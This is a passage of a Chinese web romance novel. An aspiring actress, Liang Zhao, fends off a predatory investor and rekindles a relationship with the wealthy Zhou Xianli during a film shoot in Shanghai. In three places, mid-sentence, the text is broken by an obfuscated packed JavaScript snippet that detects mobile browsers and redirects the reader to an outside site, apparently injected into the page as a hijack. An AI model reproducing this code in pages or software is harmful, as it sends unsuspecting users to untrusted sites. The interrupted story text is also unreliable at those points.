有天晚上叶明逸喊他吃饭,就在第一次见梁昭的那家饭店,席间还有秦雨生,这俩人凑在一块儿,看他独身一人,都问:“没带梁昭一起来?” 周显礼“嗯”了声,不欲多说。 他找了梁昭两次,都被拒绝,不管她是玩欲擒故纵还是别的什么招数,他都懒得搭理了。 叶明逸觑他的脸色,冰凉凉的,眉眼间有些厌倦,就明白怎么一回事了,朝下属嚷着:“把梁昭叫来,不识抬举呢。” 周显礼抽出支烟咬着,含糊说:“你拉倒吧。” 他犯不上跟一小姑娘计较。 身边有人掏出打火机,“啪”一声打着,凑上来说:“周总,我这有火。” 周显礼懒懒地“嗯”了声,一偏头,点燃烟,也没看清是谁,闻到阵香气,才侧目看去,是叶明逸公司的一个女艺人,最近挺火。 女人恰到好处地微笑,跟他闲聊:“周总没带火吗?” 周显礼懒得理人,只摆摆手。女人身上的香水太甜腻,他蹙了下眉,觉得俗气,真要说的话,梁昭才是那个俗人,市井又爱财,但她身上就不会有这样的味道。 她身上总是有股很淡的洗衣粉味。 周显礼深吸一口气,又呼出,水晶和杯碟折射出的璀璨灯光都模糊在白茫茫的烟雾里。 这间包厢倒是什么都没变。 周显礼蓦地又想起第一次见梁昭那晚上,她怯怯地坐在最末尾,时不时就抬起眼偷看他,还以为没人注意。 叶明逸把她叫过来,她明明不擅长喝酒应酬,不会推辞,装的倒挺像样,傻子似地一杯一杯往胃里灌。 倒是算落落大方,只是酒桌上哪有这么实诚的人。 她才二十一岁,太年轻了,什么事都不懂,一点小心思都藏不住,拙劣的可爱,真放在名利场里,怕是会让那些吃人不吐骨头的人给生吞了。 周显礼又呼出一口烟,胸口堵得慌。 其实不过是个小地方来的女孩而已,没什么太特别的。 周显礼就是觉得,小没心肝的,世所罕见。 14. 第 14 章 梁昭爱上了去菜市场和摊贩讨价还价,她就擅长这个,对他们要说什么都门儿清,磨几分钟嘴皮子,占到几毛钱的便宜,薅两根小葱,就得意洋洋地回家去了。 有时候也不止是讲价,她一连去了好几天,和几个经常光顾的摊位老板都混熟了,买菜的时候就聊两句天,从“今天天不错啊”、“花菜又涨价了”,到“这是您闺女啊,长的可真水灵”。 那天梁昭又在菜市场和老板斗嘴皮子,老板闺女也在,上五年级的小孩,拿着只铅笔正歪歪扭扭地写数学口算题,老板惯性教育她:“你可得好好学习,上好了学,以后找个好工作,这辈子就不愁啦!” 小女孩不耐烦地嘁了声,马尾辫随着她摇头的动作一晃一晃的。 梁昭帮腔:“就是就是,你看姐姐,就是没上好学,现在买把小青菜都得斤斤计较。叔,今天菠菜怎么卖?” 老板报价已经越来越实诚了,梁昭挑了一把,称完,开始斤斤计较:“便宜点嘛,咱们都这么熟了,这三毛五毛的你还收我?” “拿点葱拿点葱。” 小女孩又长长地嘁了一声:“姐姐,你好抠门啊!” 这几天,梁昭跟老板闺女也混熟了,小孩子说话心直口快的,梁昭隔空点点她:“小机灵鬼。” 她往女孩作业本上一扫:“这道题写错了哦!” 老板说:“哪错了?快再算一遍。” 女孩赶紧捂住本子,忿忿地瞪她。 梁昭就爱逗小孩玩:“来来,让姐姐检查检查,姐姐免费给你辅导!不要钱,让你爸多给我两根葱就行。” 她作势要跟小女孩抢作业本,手在半空晃,小孩把本子往身后藏:“你不是没上好学?” 梁昭说:“看个小学作业还不是轻轻松松。” 她们俩一个藏一个闹,蓦地,电话响了,梁昭甩甩手,对小女孩说:“好好检查啊!” 转身接电话去了。 电话是曹却思打来的,开机在即,联合出品方的老总提出要见见女主角。 男主角邢钧是曹却思的灵魂缪斯,那辈港星中的佼佼者,不在大陆,也没必要特意见一面。 他前阵子在国外,这个项目是投来跟着叶明逸喝点汤的,听说女主角是个完完全全的新人,颇感兴趣,让曹却思把人领出来见一面,约在一家专做淮扬菜的餐厅。 在剧组,导演是老大,但对于一部电影来说,出品方才是爸爸,毕竟他们是掏钱的。这部电影曹却思没有个人投资,在资金上很受限。 曹却思问:“晚上有时间吗?” 这是句废话,没有也得有。梁昭说:“当然有。” 曹却思说:“下午五点,我让人去接你。” 挂了电话,梁昭回去拿小菠菜,付钱。 老板闺女拿计算机算了好几遍,一个错误都没有,拍桌而起:“根本没错!姐你又骗我!” 梁昭大笑着,赶紧跑了。 她还是喜欢和普通老百姓打交道,小商小贩、小学生,个个都很鲜活,和周显礼叶明逸那样的人在一块,就太累了,得时时刻刻小心讨好。 周显礼周显礼,梁昭把这个名字翻来覆去地嚼了两遍,决定不再想。 今天是个大晴天,走出菜市场,梁昭仰起脸,任太阳把眼皮晒的微微发红。 有风,卷着市场喧嚣的热闹从耳边刮过,空气里还有梧桐落叶的味道,清清爽爽的一个晚秋。 真好真好。 联合出品方的老板姓韩,约莫五十上下,有个很朴实无华的名字,叫韩峰,是上海人。 娱乐圈按照地区分圈子,京圈沪圈西北圈,还有个已然落寞的港圈,韩峰就是沪圈的传媒大拿。 他和曹却思是多年好友,这阵子到北京出差,就约曹却思吃顿饭,顺便让他把主演带来见一面。 梁昭跟着曹却思的助理进了包厢,很自觉地在最末尾的位置坐下,没多久曹却思和韩峰也到了。 他们俩是一起来的,进门时还在说笑,坐下了,韩峰旁边还空着一个位置,曹却思招手叫她:“梁昭,你是女主,你过来坐。”他扭头问韩峰,“还不错吧?” 韩峰笑眯眯地盯着梁昭看,大笑:“老曹啊,还是你眼光毒!” 曹却思伸出两根手指比划:“选了两个多月才选出来的。” 没有梁昭插话的份儿,她垂眸研究白瓷杯上的图案。薄薄的胚,能透光似的,圆润莹亮,上面绘荷花。 韩峰扭过头问梁昭:“你姓梁,对吧?” 曹却思接上:“是姓梁,小梁,你敬韩总一杯。” 梁昭端着杯酒起身:“韩总您好,我叫梁昭,王昭君的昭。原本曹导叫我来吃饭,我还挺紧张的,您别笑话我,我从小地方来,没见过您这么大的老板,就怕说错什么话做错什么事,惹大家笑话。不过一见面,您给我感觉特别亲切,我先干为敬,您随意。” 梁昭微微弯下腰,和韩峰碰杯,杯沿低三五分:“就祝您身体健康、财源广进,祝咱们电影大卖!” “好!”韩峰也干了,放下酒杯问,“梁小姐哪里人?” “东北。韩总,您别这么客气,叫我小梁就行。” 梁昭只说东北,她听江畔说南方人分不清黑吉辽。 “哦……”韩峰点点头,露出点惊喜的表情,“听说东北女生都很彪悍,小梁不一样,挺温婉的,我还以为和我是老乡呢!” 梁昭也笑,心说她这是装出来的。 韩峰又问:“多大了?” “二十一。” “真年轻啊,比我女儿还小。” 曹却思问:“欣欣今年硕士毕业了吧?” 韩峰长长地叹气:“还在纽约,说是出国这么多年,中文都快不会说了,搞了个什么乐队,净往里赔钱,还挺乐呵。我是搞不懂现在的年轻人了。” “我家那小子不也是,我都不屑说他!”曹却思摆摆手,“儿孙自有儿孙福,由他们去吧。” 桌上其他人就接话了,一会儿夸韩峰女儿有音乐天赋,以后能拿格莱美,一会儿说曹却思儿子打小就聪明,不用他操心。 一听就是恭维奉承,但当家长的都爱听。 说得高兴了,不免又要端几杯酒,梁昭也跟着喝了几杯。 韩峰看上去挺高兴,拍了拍她手背:“怪不得你们叶总说你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16983830|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是海量。” 梁昭睫毛一颤,抽回手端酒杯,顺势敬韩峰的酒,又说了两句恭维话。 一顿饭下来,梁昭饭没吃多少,酒却一杯接一杯地喝,她想起来之前曹却思的助理跟她说,这行里就这样,出品发行广告商,都是爸爸,再大咖的明星,也是一杯酒一杯酒敬过来的,不为别的,就为在大佬面前混个脸熟。 散席时,梁昭看东西都有点花,她胃里翻江倒海的,强撑着等韩峰和曹却思先出了门,刚要冲进包厢自带的卫生间,就听见韩峰喊她。 梁昭扯出一个笑:“韩总,您有什么吩咐?” 韩峰问:“小梁怎么回去?” “我……”梁昭斟酌着,想说曹却思的助理送她回去,但显然他得送曹却思。 没我出个所以然来,韩峰说:“你跟我的车回去吧。” 他说完,就又跟曹却思说话去了。梁昭没找到拒绝的机会,只得跟上去,到了饭店门口,韩峰又和曹却思聊了会儿,约着有时间去澳洲打球。 十一月底,刮妖风,梁昭立在寒风里,悄悄摸出手机打车。 等曹却思的车开走了,韩峰才扭过头看梁昭:“小梁,你住哪?” “韩总,”梁昭笑笑,“真不用麻烦您,我自己打车了。” 韩峰不甚满意地蹙起眉,没等他开口,梁昭立刻说:“我知道您关心我们这些后辈,实不相瞒,我今天见您,觉得您就跟我父亲一样亲切。只是时间太晚了,您又喝了酒,我住的远,实在怕耽误您回去休息的时间。” 她说得恳切,垂着眼装乖, “小梁,你真挺讨人喜欢的。”说他能当她爹了,还不讨嫌。这会儿没别人,韩峰懒得跟她兜圈子,递给她一张名片,“你在这一行里,要是没有个倚仗,就算是曹却思的女主也没用,知道么?” 也不怪韩峰起这样的心思。梁昭一个无权无势无背景,穷成这样,又急于在娱乐圈出头的小女孩,是最好拿捏的了,只要付出一点资源,甚至不必负责。 梁昭抿着唇没说话,装听不懂。 身后一声哂笑,不高不低,恰好够两人听见。梁昭回头,只见周显礼不知什么时候立在台阶之上,也不知道他究竟听见了多少。 这家饭店风格庄严大气,几根承重柱撑着门面,中式红灯笼在风里乱晃,那点灯光落在周显礼黑色大衣的肩上,流光溢彩。 他背光站着,半边面孔看不分明,眉头似乎也轻蹙,心情明显不好。 梁昭的脑子被酒精麻痹掉一半,已不会说话,只呆呆地望着他。 周显礼晚上被秦雨生叫来吃饭,刚结束,跟秦雨生聊着天出来,原本还在谈东边一块地的开发,秦雨生忽然支支吾吾起来,说要不咱再回去吃一顿吧。 周显礼顺着他的视线一看,就见梁昭站在风里,冻的瑟瑟发抖,身边一个五十岁的老头。 秦雨生找借口溜了。周显礼走到门口,也不是故意想偷听,但这两人聊的太专注,没注意到他。 没想到,她行情倒是不赖。 周显礼慢条斯理地点上支烟,吸了一口,任寒风将烟雾吹散,才说:“韩总,小姑娘都能当你闺女了。” 15. 第 15 章 韩峰看上去很尴尬,左右两只手不停地握来握去,讪讪地跟周显礼打声招呼,就赶紧钻进车里走了。 梁昭捏着韩峰的名片,四处张望,没找到垃圾桶,实在想扔,又不好意思随地乱丢,团皱了,塞进兜里。 周显礼看着她的小动作,嗤笑一声,拾阶而下,越过她要走。 擦肩而过的一瞬间,梁昭拉住周显礼的手,把名片塞进他手心里。 周显礼回眸,意味深长地挑了挑眉。 他不说话,漫长的沉默里,风声都显得刺耳。梁昭垂着眸看地面,饭店门口铺了花岗岩,灯光落在上面,泛起一点橙黄色。 韩峰的话,她其实听进去了。 这一年她二十一岁,想要的很多,想要钱,想要爱,想要名利,想要健康,想要父母兄妹都安康。 年轻人总觉得世间一切都能争取,她现在最能争取的,就是周显礼了。 梁昭悄悄抬眸瞧周显礼的脸色。 周显礼似乎没耐心跟她在冷风里耗下去了,“啧”了声:“给你的,你不收着?” 梁昭摇头:“你不想我收,我就不收。” 周显礼讥讽道:“我管的着吗?” 梁昭头更晕了,索性耍赖似地往前跌:“周显礼,我头好晕啊。” 倒下去的那瞬间,她想,就算周显礼躲开,让她摔个狗吃屎,她也认了。 幸好周显礼对她还有几分心软,长臂一捞,梁昭稳稳跌进他怀里。 暖和,梁昭埋在他怀里。 风吹过,周显礼的手一抖,一截烟灰簌簌地落。天已经很冷了,北风刮得人脸颊生疼,周显礼也不知几分无奈几分生气,低头一看,梁昭倚在他肩头笑。 她皮肤很白,夜里也泛着白瓷般的光泽,一双眼睛更亮,大抵是真醉了,蒙着几分水汽,盈盈笑意,没心没肺。 周显礼让她气得也想笑:“梁昭,我就这么好应付?” “不是不是,”梁昭头摇的像拨浪鼓,两只胳膊黏黏糊糊地去搂他脖颈,“但你总要给我一个弥补的机会嘛。” “无理取闹。”梁昭身上有一点酒气,周显礼伸手推她,没推开,梁昭就跟棵爬山虎似地缠着他。 梁昭说:“冷嘛。” 小姑娘确实怕冷,细碎地打着颤,周显礼一摸,手都是冰的。他递给司机一个眼神,司机会意,沉默着拉开后车门,周显礼把梁昭塞进去。 梁昭自觉往里滚,拍了拍身边的空位,让他进来,周显礼“啪”一下把门关上了。 梁昭落下车窗问:“你不上车吗?” 周显礼神色冷淡,摆了摆手。 “那你干什么去呀?这么冷……” 周显礼挑眉问:“你管我?” 梁昭不说话了,见他转身回饭店,关上车窗,靠在玻璃上笑。 显然周显礼不想跟她同车,但若真不想管她,把她丢下就好了,何必再让司机送她。 梁昭阖着眼休息了一会儿,越来越高兴,“扑腾”一下直起身,扒着副驾驶叫:“陈哥,陈哥……” 周显礼的司机姓陈名信,三十几岁,人很稳重可靠。 陈信“哎”了声:“什么事?” 梁昭向他打听:“你们周总生日是哪天啊?” “生日?”陈信想了想,“下个月十五号。” “哦哦。”梁昭默默记下,很高兴地说,“谢谢你。” 声音爽朗,但鼻音重,能听出来已经醉了。 陈信笑了声,没戳破她的小心思,只问:“又喝了不少吧?” “是啊,”梁昭跟他聊天很放松,“哥,你说那些领导怎么都那么爱喝酒啊?他们爱喝,我们这些小喽啰就得跟着喝,真够折腾人的。” 陈哥说:“酒这东西,社交属性更重,别说是你了,就是周总也喝成这样过。” 梁昭有些惊讶:“他也这样?” “不多,周总不爱喝,一般场合都不喝,但总有推不开的应酬。” 梁昭长长地“哦”一声,想起第一次见面,她去敬他的酒,他也是没沾唇。 梁昭磕在车窗上,沉沉地睡过去,梦里总是闪过一些杂乱的片段,最后还是定格在那个雨夜,周显礼落下车窗,说她笨。 她可能是挺笨的。 但最起码,她是个很识时务的笨蛋。 有人轻声喊她,“小梁,小梁”,梁昭转醒,眨了眨眼,扭头望,已经到家了。 她揉下眼,迷迷糊糊地推车门,下车时,忽然想起什么,对陈信说:“陈哥,你稍微等我一下啊,我上楼拿个东西。” 陈信以为她有什么东西让他转交给周显礼,乐呵呵地应了。 梁昭噔噔噔跑上楼,过了会儿拿了个四四方方的纸箱下来。 她拉开副驾驶的门,把东西放在座位上:“哥,这是给你的,护腰带。你们司机老是坐着,戴这玩意能舒服点。” 前几天江畔喊腰疼,梁昭给她买的,还没拆封,正好拿来送顺水人情。 陈信一迭声叫:“使不得使不得,我拿你的东西算怎么回事啊?” “不贵,都不够你接送我一趟的油钱。”梁昭说,“这段时间老麻烦你,就当谢礼了。” 陈信说:“周总给我开工资的。” 梁昭笑眯眯的:“那要是没有我,你也不用多跑这一趟啊。”她关上车门,挥手道别,“快走吧,你们周总还等着呢,拜拜。” 陈信落下车窗,一拱手:“谢了啊!” 梁昭说:“客气什么。” / 十二月,剧组《巴黎,巴黎》开机,前后要在上海和内蒙古两地取景,梁昭随剧组去了上海,剧本围读、办开机仪式,几天里忙的团团转。 而且,进组以后,梁昭才知道,当初她在服装店遇见的那对情侣,男人叫高天峰,是摄影师,女人叫姚瑶,是编辑组的。 有了之前那段交情,他们俩对梁昭都很亲切。 梁昭能说会道,是很讨喜的性格,在剧组里,上到导演制片下到场务道爷,短短几天,她都混熟了。 公司还给她派了个助理,跟她一样大,叫谭清许,上海本地人,已经保研到复旦了,来实习的。正式拍摄前一天晚上,她们去吃火锅。 鸳鸯锅,一侧是清水,一侧飘满辣椒,谭清许是四川人,很能吃辣,梁昭要维持体重,就只在清水锅里涮些蔬菜吃。 谭清许以风卷残云之势扫光了一盘肉,开始慢慢地往锅里下些脱骨鸭掌、土豆一类耐煮的菜。 她托着腮,一边等锅开,一边看梁昭吃水煮娃娃菜,不由感慨:“姐,来之前孙哥还嘱咐我盯着你,别让你吃胖了,结果你根本不用我盯着嘛!唉——果然能当明星的都不是一般人。” 梁昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995279|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实快馋死了,实在是明天拍摄,怕重油重盐爆痘,也怕吃一顿长二两肉状态不佳,然而谭清许一两句话给她架上去了,出于一种微妙的虚荣心,她拍拍胸口,说:“你跟孙哥就放心吧,我这几个月,只会瘦不会胖!” 谭清许真信了,竖起大拇指夸她。 梁昭边笑边拿起手机悄悄拍照,给周显礼发过去,抱怨她出来吃火锅都只能吃清水白菜。 最近这几天,梁昭每天不定时骚扰周显礼三四次,剧本围读要发,和男主角一起吃饭要发,开机仪式上香也要发,像异地情侣报备似的。 周显礼远在北京,对她一天做了什么了如指掌。 但他一概不回,梁昭依旧乐此不疲。 她打赌周显礼忍不了一周。 也不是她自恋,觉得自己在周显礼心中有多重要,只是周显礼也曾对她上过心。 上过心却没得到,想来他那样骄傲矜贵的人不会甘愿。 果然吃完饭,刚走出火锅店,周显礼的电话就打来了。 梁昭让谭清许等她一会儿,跑到一边去接。 他声音听上去有些冷淡:“梁昭,你想干什么?” 梁昭说:“我在哄你啊。” 周显礼嗤笑一声。 梁昭听出他的不满,低头踢踢路边的小石子,小声问:“是不是打扰到你了啊?那我不发了……” 周显礼沉默了。 梁昭靠在路灯下,很耐心地听电话两头此起彼伏的呼吸声。这是条老街,很窄,路边都种梧桐树,十二月了,叶子还没落光,身姿婆娑。 周显礼终于说:“没有。” 梁昭抿着唇无声笑,跟他说:“周显礼,都十二月了,上海的梧桐树还有好多叶子啊。” 周显礼淡淡地“嗯”了声,听着没有现在就要挂电话的打算,梁昭继续说:“跟北京不太一样……” 梁昭裹紧羽绒服,橘黄灯光下,呵出一团白雾,柔声问:“你有没有时间来看看啊。” 其实梧桐叶有什么好看的,全国都种的树。她未尽之言,是想问他能不能来看看她这个人。 梁昭说完,抿紧唇等他回答,心跳有点快,呼啦一阵,黑色轿车碾过路边的小石子,疾驰而去,等这阵噪音过去,梁昭才听清周显礼那边也有点吵,像是有人在跟他说话。 过了会,周显礼匆忙说了声“先挂了”。 他今晚是去参加一场饭局,刚结束,看见梁昭的消息,没有多想,便给她打了一通电话,边走边说,结果刚刚同桌吃饭的一位医药公司老总出来,又跟他聊了几句。 这人跟他父亲早年同校读书,算是同窗,周显礼只得先挂掉梁昭的电话。 等寒暄完,上了车,发现梁昭也没再发消息过来,方才那句话还没说完,她没得到答案,也不急,安安静静的。 周显礼按灭手机屏,干脆闭上眼。 陈信忽然说:“周总,您不去看看梁小姐吗?她头一次拍戏,别再让人给欺负了。” “小狐狸似的,谁能欺负得了她。”周显礼慢悠悠睁开眼,往驾驶座望去,看了一会儿。 陈信让他看的后背发毛,心知他多嘴,不由自主挺直身子。 安静半分钟,陈信以为没什么事了,刚松下来,周显礼忽然开口:“你这个护腰带是新买的吧?” 浅蓝浅灰,女孩子喜欢的配色。 16. 第 16 章 上海降温了,偶尔下毛毛雨。 梁昭在剧组里待了一个星期,昼夜颠倒,才知曹却思不愧为大导演,拍起戏来像个疯子,精益求精,一遍遍ng。 搭档的男演员邢钧也是实力派,梁昭不得不逼自己快速成长。 忙起来,白天反倒顾不上周显礼,再加上这行工作时间不固定,有时下戏就要凌晨三四点了。但不管再晚,梁昭睡前都会记得给周显礼发条消息。 这天下了戏才八点,谭清许喊梁昭去探一家网红轻食餐厅,她拒绝了,回酒店吃点东西,洗完澡,吹干头发,换上柔软的睡衣,往被窝里一躺,就给周显礼打电话。 响了大概半分钟,他才接。 梁昭抱怨:“你好慢啊。” 周显礼都让她气笑了,口口声声说着要哄人,现在都敢反过来抱怨起他来了,可话到嘴边,又意识到她鼻音有点重,忍不住问:“感冒了吗?” 梁昭扑腾一下坐起来:“能听出来?” 上海下了两天雨,天气越来越冷,梁昭也跟着生了场病,倒是不严重,感冒咳嗽,但她支着病体拍戏,所有台词都是现场收声的,就怕状态不好,鼻音重。 “真感冒了?”周显礼说,“这会儿倒是听不出来了。” “哦……”梁昭慢腾腾地躺下,缩在被子里,“那我是困的,昨天拍到四点,今天早上九点又开工,我一共也没睡几个小时。” “下午四点?” 梁昭撇撇嘴:“凌晨四点!”确实不该叫昨天了。 “真够赶的。” “是啊。”梁昭笑起来,一歪头,凑近手机,小声问,“你关心我啊?” 周显礼不说话,梁昭继续问:“你不生气了是不是?” 没等周显礼开口,梁昭就轻轻地哼了声:“你别生气了嘛,我都这么惨了。我给你说……” 她停下来了,要一点反馈,周显礼很配合,语气几分无奈:“你说。” “我今天学了一点上海话,老摆,个么似几地呀,哦哟,嘎举啊,比尼地好伐啦。还有还有,我价钿就伐还侬了,侬秤帮我秤了鲜一点!” 周显礼一个土生土长的地道北方人听不懂,问梁昭:“这都什么意思?” “砍价用的词,就是这多少钱啊好贵哦你给我便宜点,哎呀我不跟你讨价还价了,你称重的时候给我抹个零头。” 周显礼笑她:“财迷心窍。” “是啊是啊,我们小市民就是这么抠门爱财。”梁昭继续往被窝里滑,声音就有点闷闷的了,絮絮叨叨地讲,“今天邢钧也说我抠门,因为我跟清许说要去吃一家餐厅,研究了半天的优惠券,我说有便宜不赚王八蛋嘛!” “他是香港人,好像有点用不明白内地这些app。” “周显礼,你猜我最近瘦了几斤?” 她话题很跳跃,讲一些零零碎碎的闲事,又因为犯困,所以说话慢,调子轻。周显礼正看一份财务报表,几乎拿她的碎碎念当白噪音听,听见这一问句,才“嗯”了声。 “三点六斤!所以我跟清许明天晚上打算去吃放纵餐!希望明天能早点下工!那家店人好像很多。” “什么店?” “蟹粉小笼。邢钧说他去吃过,很火很火,饭点都要排队。” 梁昭的声音越来越轻,又讲到邢钧的粉丝来剧组探班的事儿,最后迷迷糊糊的,快要睡过去前,嘟囔了句:“我最近睡不好,半夜总是醒。” 大约是到了个新环境的原因。周显礼问:“是不是在酒店睡的不舒服,剧组给你订的标间?曹却思跟你一样抠门儿,升套房能怎么他了?” “不是,”梁昭声音很糯,“是我醒过来就想找你,但是大半夜的,你肯定睡了。” 周显礼无声地勾了下唇,等他看完一份报表,忽然发现,梁昭已经不讲话了。 周显礼试着唤了两声:“昭昭,昭昭?” 没人回应,电话那头只有平稳均匀的呼吸声,应该是讲着讲着就睡着了。 周显礼想挂电话,又不知道在哪一刻,心弦微动,想到她那句“半夜醒了就想找你”,悬在屏幕上空的手指最终没有点下去。 第二天上午没有梁昭的戏份,她难得睡到日上三竿才醒,眼睛还没睁开,手就下意识地在被窝里摸手机,摸到一块发烫的东西。 她差点丢出去,睁开眼才看清,还真是她的手机,昨晚和周显礼的那通电话居然一直没挂断。 梁昭愣住了,直到几秒后屏幕上弹出来三十秒死亡倒计时,她才坐起身,手忙脚乱地去扯充电线,“噔”一声轻震,充上电才松了口气。 她真没想到周显礼不挂电话,叫他:“周显礼,周显礼,你还在听吗?” 那边“嗯”了声,语气里满是笑意:“睡醒了?” “嗯。”梁昭挠挠头,又躺回被窝里,查话费余额,“你怎么不挂电话呀?”多浪费电话费。 她用的套餐很便宜,流量不多,免费通话额度也不高,昨晚这一通电话,估计给用光了还得倒赔点。 周显礼说:“怕你半夜想我。” 梁昭查话费的动作忽然停了。 其实这些天,梁昭也看出来了,周显礼不喜欢隔着网线调情,在电话里或是微信上,他话一般很少。 梁昭往被子里滑,脸埋进去,忽然觉得多交点话费也值了。 周显礼继续说:“谁知道你睡眠质量这么好,一觉睡到九点多。”他一顿,“不是说最近天天半夜醒过来就想找我,我也没听见呐。” 梁昭脸颊发烫:“是……是昨天太累了。” 周显礼轻笑,梁昭脸颊更烫了,在被窝里闷了一头汗,肺部氧气稀薄,她抬手掀开被子,深深吸了口气,刚想再说点什么,听见他那边有人唤“周总”,隐约像是叫他去开会。 梁昭赶紧说:“你快去工作吧,我也要挂了。” 一整晚的通话这才挂断。 梁昭乐了好一会儿,才哼着歌去洗漱。 中午谭清许来找她,俩人一起在酒店吃外卖,梁昭照旧吃减脂餐,却乐呵呵的。 谭清许问:“姐,你今天心情挺好啊。” “啊……”梁昭往嘴里塞菜叶子,频频点头,“对对对,哎清许,你谈过恋爱吗?” “我高中就开始谈恋爱,男朋友都换了好几个了。” “前辈啊!”梁昭握住她的手,虚心请教,“假如……我是说假如哈,假如你是一个男生,有一个女生和你亲嘴了……” 谭清许问:“姐你和谁亲嘴了?” “不是我!”梁昭说,“是我一个朋友。” 谭清许无奈地点头:“好吧,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998309|193435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友。” 梁昭继续说:“但是她没多久就不搭理你了……” 谭清许示意她继续说。 “过几天这个女生又回来找你……” 谭清许说:“姐,你好渣。” “说了是我朋友!我朋友!” “嗯嗯嗯,你朋友。”谭清许问,“然后呢?” 梁昭问:“你会不会生气啊?” 谭清许说:“当然啊,这不是明摆着吊我的吗?” “可是……可是你们俩昨天又煲了一晚上的电话粥,你态度也很好,还是很温柔。”梁昭扭捏着,“这算不算和好了啊?” 谭清许说:“说不定我只是反过来吊着你。” “不是我!” “你朋友。” 梁昭想了想,否定她:“他不是那样的人。” 谭清许掏出手机开始在屏幕上戳戳点点,梁昭问她:“你在干啥?” “我给孙哥报备一下啊,你谈恋爱了。” “别说别说,”梁昭按下她的手腕,“过年我给你包红包。” 谭清许“噗嗤”一声笑喷了,晃晃手机,给她看,屏幕上什么也没有。 梁昭怒而拍桌:“你诓我!” 谭清许眼泪都笑出来了:“你不是说是你朋友吗?” 梁昭不理她了,继续往嘴里塞菜叶子。 “哎哎——”谭清许用胳膊肘碰她,“姐,我不说,我保证不说。你俩都煲电话粥了,你还担心什么啊?” 梁昭咬着筷子说:“我有点拿不准,我也没经验啊。” “放心吧,他要是真不想跟你好,连你电话都不会接的。” 梁昭笑了:“有道理。” 谭清许一副了然于胸的模样:“快吃快吃,吃完还得去剧组。” 下午的戏份比较简单,梁昭到剧组时,光替正给她试光,她去上妆,回来拍了几场戏,磨到傍晚,华灯初上,刚好拍最后一个镜头。 那是一组吸烟的长镜头,梁昭背后是一层叠着一层的各色霓虹牌子,她人背光站着,靠在一截铁栏杆前,镜头推进,脸上光影斑驳,一边阴在黑暗里,一边被霓虹灯照成红蓝色。 等梁昭吐出一口眼圈,邢钧再走过来,两人对视,没有台词,很沉默的画面。 梁昭以前没碰过烟,就见周显礼抽过几次,觉得还能接受,为了这场戏,她提前去便利店买了好几包烟偷偷练,总觉得味道闻起来不如周显礼抽的好。 刚抽一口,呛着了。 她本来就感冒,这一呛不得了,弯着腰咳个不停。 曹却思站在监视器后,眉头紧锁,随便指了个人:“你去教教她。” 接着,梁昭手里的烟被人抽走了。 她说“谢谢”,一抬头,发现来的人竟是周显礼。 周显礼一身黑色大衣,眸底几分笑意,就着她刚才那支烟吸了一口,说:“谁给你的烟,这么冲。” 梁昭呆愣着,不可置信,过了会儿才讷讷地叫:“周总。” 剧组人多眼杂,她觉得还是叫他“周总”更合适。 周显礼眉心似乎拧了下,但很快又随着笑舒展开来了,他弹了弹烟,那点抖落的橘红色火星子,让梁昭想起去庙里时,宝鼎里飘出来的香灰。 周显礼说:“叫声好听的。” 17. 第 17 章 梁昭眨了眨眼,觉得太好听的也叫不出口,索性随着叶明逸叫他:“衍哥。” 周显礼笑起来,他抽了烟,笑声有点闷,一笑也咳,梁昭垂下头,心跳莫名有点快。 那支烟忽然被递到她唇边了,夹着烟的手指修长,骨节分明,竹子一样好看。 梁昭抬眸望他。 周显礼说:“再试试,别往肺里吸。” 梁昭咬上烟嘴,湿润的,触感那么暧昧,像间接的接吻。她吸一口气,又缓缓吐出来,味道依旧有点呛,她忍着没咳。 周显礼点点头,说:“挺好,继续拍吧。” 他转身,把这片地方还给梁昭,到监视器后跟曹却思说话。 梁昭双手拍拍腮,强制把注意力从周显礼身上拽回来,入戏。 这次很顺利,一组镜头拍完,收工。 梁昭去卸了妆,匆匆忙忙地跟谭清许说了几句话,让她自己去吃蟹粉小笼。 梁昭想到小笼包那层薄薄的面皮,拿筷子一戳开,蟹黄混着汤汁流出来的样子,嘬一口,鲜的眉毛都要掉了。 她忍不住咽了下口水。 没办法,谁叫周显礼来了呢,她只能舍小笼包而要周显礼。 谭清许捉住她手腕,揶揄道:“这就是你那个相好啊?” 梁昭尴尬地咳嗽:“什么……什么相好?” 谭清许评价:“比邢钧还帅,这你也舍得渣?” “不是你想的那样。”没时间多说,梁昭拍拍她手背,“我先走了啊。” 她小跑到周显礼身边,几缕原本塞在耳后的头发随着动作掉出来,周显礼看她一眼,抬手替她理好,一边仍对曹却思说:“她第一次拍戏,什么都不懂,要麻烦你多担待了。” 曹却思笑道:“周总说的哪里话,小梁很有灵气,天生端这行饭碗的。” 